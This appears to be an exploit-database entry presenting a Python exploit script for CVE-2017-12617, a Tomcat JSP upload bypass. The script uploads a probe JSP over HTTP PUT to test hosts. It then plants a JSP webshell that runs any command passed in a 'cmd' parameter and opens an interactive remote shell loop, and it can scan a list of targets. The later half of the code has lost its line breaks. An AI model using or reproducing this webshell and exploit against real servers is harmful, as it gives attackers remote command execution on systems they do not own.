Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution

Properties

Published:
10.10.2017
Target:
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8

Code

#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser
 
 
 
 
 
 
 
 
class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
 
 
 
 
banner="""
 
 
   _______      ________    ___   ___  __ ______     __ ___   __ __ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / / 
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /  
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /   
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    
                                                                            
                                                                            
 
[@intx0x80]
 
"""
 
 
 
 
 
def signal_handler(signal, frame):
 
    print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
 
    exit()
 
signal.signal(signal.SIGINT, signal_handler)
 
 
 
 
def removetags(tags):
  remove = re.compile('<.*?>')
  txt = re.sub(remove, '\n', tags)
  return txt.replace("\n\n\n","\n")
 
 
def getContent(url,f):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    re=requests.get(str(url)+"/"+str(f), headers=headers)
    return re.content
 
def createPayload(url,f):
    evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
    req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
    if req.status_code==201:
        print "File Created .."
 
    
def RCE(url,f):
    EVIL="""
""".format(f)+"""
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
""" headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) def shell(url,f): while True: headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} cmd=raw_input("$ ") payload={'cmd':cmd} if cmd=="q" or cmd=="Q": break re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) re=str(re.content) t=removetags(re) print t #print bcolors.HEADER+ banner+bcolors.ENDC parse=OptionParser( bcolors.HEADER+""" _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt [@intx0x80] """+bcolors.ENDC ) parse.add_option("-u","--url",dest="U",type="string",help="Website Url") parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") parse.add_option("-l","--list",dest="L",type="string",help="hosts File") (opt,args)=parse.parse_args() if opt.U==None and opt.P==None and opt.L==None: print(parse.usage) exit(0) else: if opt.U!=None and opt.P==None and opt.L==None: print bcolors.OKGREEN+banner+bcolors.ENDC url=str(opt.U) checker="Poc.jsp" print bcolors.BOLD +"Poc Filename {}".format(checker) createPayload(str(url)+"/",checker) con=getContent(str(url)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC print bcolors.WARNING+url+"/"+checker+bcolors.ENDC else: print 'Not Vulnerable to CVE-2017-12617 ' elif opt.P!=None and opt.U!=None and opt.L==None: print bcolors.OKGREEN+banner+bcolors.ENDC pwn=str(opt.P) url=str(opt.U) print "Uploading Webshell ....." pwn=pwn+".jsp" RCE(str(url)+"/",pwn) shell(str(url),pwn) elif opt.L!=None and opt.P==None and opt.U==None: print bcolors.OKGREEN+banner+bcolors.ENDC w=str(opt.L) f=open(w,"r") print "Scaning hosts in {}".format(w) checker="Poc.jsp" for i in f.readlines(): i=i.strip("\n") createPayload(str(i)+"/",checker) con=getContent(str(i)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"